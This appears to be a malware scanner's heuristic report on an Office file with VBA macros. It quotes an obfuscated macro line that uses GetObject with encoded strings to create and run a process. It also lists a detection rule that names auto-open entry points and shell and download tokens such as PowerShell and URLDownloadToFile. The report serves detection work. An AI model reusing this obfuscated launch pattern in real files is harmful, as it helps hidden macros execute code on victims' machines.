Heuristics 4

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Water = Nuts(Apples)
        GetObject(Nuts("136122127126120126133132075")).Get(Nuts("104122127068067112097131128116118132132")).Create Water, Tea, Coffee, Napkin
    End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
